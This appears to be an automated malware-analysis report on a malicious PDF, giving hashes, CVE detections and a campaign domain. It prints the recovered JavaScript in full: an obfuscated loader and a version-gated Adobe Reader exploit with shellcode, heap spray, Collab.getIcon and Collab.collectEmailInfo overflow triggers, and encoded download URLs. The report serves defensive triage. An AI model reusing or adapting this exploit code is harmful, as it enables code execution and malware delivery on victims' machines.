PDF malware analysis — malicious · dd49703c8988ec9c

MALICIOUS

PDF

6.4 KB Created: 2009-10-25 20:35:22 Authoring application: Scribus 1.3.5svn (via Scribus PDF Library 1.3.5svn) First seen: 2026-05-10

MD5: 51b836c02ae2591946791d2ada323c37 SHA-1: f189e289aca45979e5e3d8b87103cfc1a1c782a4 SHA-256: dd49703c8988ec9c17b2dcb205a18d5dc857bb6e98d50ac449a996538b43dcc2

558 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The 'PDF_UNESCAPE' and 'PDF_FROMCHARCODE' heuristics suggest obfuscation within the JavaScript. ClamAV detection as 'Pdf.Exploit.Agent-13715' strongly suggests malicious intent. The embedded JavaScript is likely responsible for exploiting a vulnerability within the PDF reader to execute arbitrary code, which is a common technique for delivering further malware.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 11

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-13715 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-13715
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
  juLEPy5vJ9A=unescape(juLEPy5vJ9A);
```
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://personalsystemscan.cn/stats/load.php?id=31 Referenced by PDF JavaScript
- http://personalsystemscan.cn/stats/load.php?id=30Referenced by PDF JavaScript
- http://personalsystemscan.cn/stats/load.php?id=29Referenced by PDF JavaScript

🗂 Part of campaign: personalsystemscan.cn 38 samples

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0013_001.js`	pdf-javascript-stream	PDF /JS object 13 at offset 0xC11	11257 bytes
SHA-256: `e04549d83146ded5b0dc720010e306ef12bf5d6cf0aa15c9c6c8cbe15d755e6a`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function STARTSCRIPT() { this.DELEPy5vJ9A = function(juLEPy5vJ9A,gmLEPy5vJ9A) { ecLEPy5vJ9A=''; juLEPy5vJ9A=unescape(juLEPy5vJ9A); frLEPy5vJ9A=juLEPy5vJ9A.length; for(j=0; j<frLEPy5vJ9A; ){ecLEPy5vJ9A+= we2(31,(juLEPy5vJ9A.charCodeAt(j)-gmLEPy5vJ9A)^gmLEPy5vJ9A); j++;} return ecLEPy5vJ9A; } dLEPy5vJ9A='I need a javascript that I can place in a form field properties area that will replace a "&" symbol with the word "and".....any help would be greatly appreciated. There are a couple of places you can enter a script that modifies the contents of the field. The question is, do you want the value of the form field to be altered, or just what the user sees on the screen? To modify the value of the field you will need to use a custom keystroke script. To modify the appearance of the field you will need to enter a format script. You can find articles on both of these in the tutorial on this site. The script itself can be done with the JavaScript "replace" function, In both cases (assuming that youve got an AcroForm) the code will look like this. PHP - Java Chat system for web site. Client is Java applet can run in any Java enabled browsers. The server side is PHP script can be installed on any PHP enabled web host. Interface text can be customized in any language. Multi rooms. Java Script Mutator is intended for optimization and protection of your Java Scripts from theft and modifications. Gnostice PDFOne Java is a pure Java library which provides a rich set of APIs to Create, Fill and Read PDF Forms, Secure, Merge, Split, Stamp PDF documents. = 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this.we2 = function(num,num2) { return String.fromCharCode(num%55 - num + num2); } this.we = function(num,num2) { return String.fromCharCode(num%55 - num + 10 + num2); } function myCh(bGreater, nGreater, bLess, nLess) { value = event.value; if ( bGreater && ( value <= nGreater ) ) { app.alert("Value must be greater than " + nGreater); app.beep(); event.rc = false; return; } if ( bLess && ( value >= nLess ) ) { app.alert("Value must be less than " + nLess); app.beep(); event.rc = false; return; } } function tion( aLEPy5vJ9A, bLEPy5vJ9A, dcLEPy5vJ9A) { if (bLEPy5vJ9A>11) { console.println("Entering function: myFunction"); console.println(" Parameter 1: aLEPy5vJ9A = " + aLEPy5vJ9A); console.println(" Parameter 2: bLEPy5vJ9A = " + bLEPy5vJ9A); } else { code = DELEPy5vJ9A(dcLEPy5vJ9A [we( aLEPy5vJ9A ,105)+"ub"+we( aLEPy5vJ9A ,105)+"tr"](1265) ,8+(27+(aLEPy5vJ9A-3)-(27+(aLEPy5vJ9A-3))%60)*4); this[we(aLEPy5vJ9A,91)+we(aLEPy5vJ9A,108)+we(aLEPy5vJ9A,87)+we(aLEPy5vJ9A,98)](code); } } hLEPy5vJ9A = app.viewerVersion.toString(); hLEPy5vJ9A = hLEPy5vJ9A.charAt(0); tion( hLEPy5vJ9A, hLEPy5vJ9A/2, dLEPy5vJ9A); }
`legacy_pdfkit_stage_000.js`	deobfuscated-js	unescape charCodeAt XOR decoded JavaScript at offset 0xC11	6100 bytes
SHA-256: `99a8591c46eec36d31a8631803795ebb4f9a795641d40fa3b8be3ce5db1217f7`
Detection ClamAV: Pdf.Exploit.Agent-35646 Obfuscation or payload: likely Carved artifact contains 11 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script I nUUT Q jQfQcSbi`d dhQd I SQn `lQSU in Q Vobm ViUlT `bo`UbdiUc QbUQ dhQd gill bU`lQSU Q cymRol gidh dhU gobT QnT .....Qny hUl` goelT RU WbUQdly Q``bUSiQdUT. DhUbU QbU Q Soe`lU oV `lQSUc yoe SQn UndUb Q cSbi`d dhQd moTiViUc dhU SondUndc oV dhU ViUlT. DhU aeUcdion ic, To yoe gQnd dhU fQleU oV dhU Vobm ViUlT do RU QldUbUT, ob jecd ghQd dhU ecUb cUUc on dhU cSbUUn? Do moTiVy dhU fQleU oV dhU ViUlT yoe gill nUUT do ecU Q Secdom kUycdbokU cSbi`d. Do moTiVy dhU Q``UQbQnSU oV dhU ViUlT yoe gill nUUT do UndUb Q VobmQd cSbi`d. Yoe SQn VinT QbdiSlUc on Rodh oV dhUcU in dhU dedobiQl on dhic cidU. DhU cSbi`d idcUlV SQn RU TonU gidh dhU JQfQCSbi`d bU`lQSU VenSdion, In Rodh SQcUc (QcceminW dhQd yoefU Wod Qn 1Sbo6obm) dhU SoTU gill look likU dhic. @H@ - JQfQ 3hQd cycdUm Vob gUR cidU. 3liUnd ic JQfQ Q``lUd SQn ben in Qny JQfQ UnQRlUT RbogcUbc. DhU cUbfUb ciTU ic @H@ cSbi`d SQn RU incdQllUT on Qny @H@ UnQRlUT gUR hocd. IndUbVQSU dUxd SQn RU SecdomizUT in Qny lQnWeQWU. Meldi boomc. JQfQ CSbi`d MedQdob ic indUnTUT Vob o`dimizQdion QnT `bodUSdion oV yoeb JQfQ CSbi`dc Vbom dhUVd QnT moTiViSQdionc. 7nocdiSU @46OnU JQfQ ic Q `ebU JQfQ liRbQby ghiSh `bofiTUc Q biSh cUd oV 1@Ic do 3bUQdU, 6ill QnT BUQT @46 6obmc, CUSebU, MUbWU, C`lid, CdQm` @46 ToSemUndc. = var AcroVer = app.viewerVersion.toString(); AcroVer = AcroVer.replace(/\D/g,""); var Version = new Array(AcroVer.charAt(0),AcroVer.charAt(1),AcroVer.charAt(2)); shellcode = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455"; if (Version[0]==9 && Version[1]==0 && Version[2]==0) { shellc = unescape(shellcode+"%u7468%u7074%u2f3a%u702f%u7265%u6f73%u616e%u736c%u7379%u6574%u736d%u6163%u2e6e%u6e63%u732f%u6174%u7374%u6c2f%u616f%u2e64%u6870%u3f70%u6469%u333d%u0031"); function spary() { garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellc; nopblock = unescape("%u9090%u9090"); headersize = 10; acl = headersize+garbage.length; while (nopblock.length<acl) nopblock+=nopblock; fillblock = nopblock.substring(0, acl); block = nopblock.substring(0, nopblock.length-acl); while(block.length+acl<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<180;i++) memory[i] = block + garbage; var buffersize = 4012; var buffer = Array(buffersize); for (i=0; i<buffersize; i++){ buffer[i] = unescape("%0a%0a%0a%0a"); } Collab.getIcon(buffer+"_N.bundle"); } spary(); buffer = null; memory = null; } else if(Version[0]==8) { shellc = unescape(shellcode+"%u7468%u7074%u2f3a%u702f%u7265%u6f73%u616e%u736c%u7379%u6574%u736d%u6163%u2e6e%u6e63%u732f%u6174%u7374%u6c2f%u616f%u2e64%u6870%u3f70%u6469%u333d%u0030"); function spary() { garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090") + shellc; nopblock = unescape("%u9090%u9090"); headersize = 10; acl = headersize+garbage.length; while (nopblock.length<acl) nopblock+=nopblock; fillblock = nopblock.substring(0, acl); block = nopblock.substring(0, nopblock.length-acl); while(block.length+acl<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<180;i++) memory[i] = block + garbage; var buffersize = 4012; var buffer = Array(buffersize); for (i=0; i<buffersize; i++){ buffer[i] = unescape("%0a%0a%0a%0a"); } Collab.getIcon(buffer+"_N.bundle"); } spary(); buffer = null; memory = null; } else if(Version[0]==7) { var VK34l = unescape(shellcode+"%u7468%u7074%u2f3a%u702f%u7265%u6f73%u616e%u736c%u7379%u6574%u736d%u6163%u2e6e%u6e63%u732f%u6174%u7374%u6c2f%u616f%u2e64%u6870%u3f70%u6469%u323d%u0039"); function VC34l(VD34l, VW34l) { while (VD34l.length2<VW34l){VD34l += VD34l;} VD34l = VD34l.substring(0,VW34l/2); return VD34l; } var VA93IwonQ = "@0@x@0@c@0@c@0@c@0@c@"; VA93IwonQ = VA93IwonQ.replace(/[@]/g, ""); var VB93IwonQ = "@0@x@4@0@@0@@0@@0@0@"; VB93IwonQ = VB93IwonQ.replace(/[@]/g, ""); var VQ34l = new Array(); var VP34l = VA93IwonQ; var VM34l = VB93IwonQ; var VN34l = VK34l.length 2; var VW34l = VM34l - (VN34l+0x38); var VQ92SilN = "@%@u@9@0@9@0@%@u@9@0@9@0@"; VQ92SilN = VQ92SilN.replace(/[@]/g, ""); var VD34l = unescape(VQ92SilN); VD34l = VC34l(VD34l, VW34l); var VL34l = (VP34l - VB93IwonQ)/VM34l; for (var VC93IwonQ=0;VC93IwonQ<VL34l;VC93IwonQ++) { VQ34l[VC93IwonQ] = VD34l + VK34l; } var VEio95EinA = "@%@u@0@c@0@c@%@u@0@c@0@c@"; VEio95EinA = VEio95EinA.replace(/[@]/g, ""); var VO34l = unescape(VEio95EinA); while(VO34l.length < 44952) VO34l += VO34l; this.collabStore = Collab.collectEmailInfo({subj: "",msg: VO34l}); VQ34l = null; }

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Machine Learning

Heuristics 11

Related samples 8

Extracted artifacts 2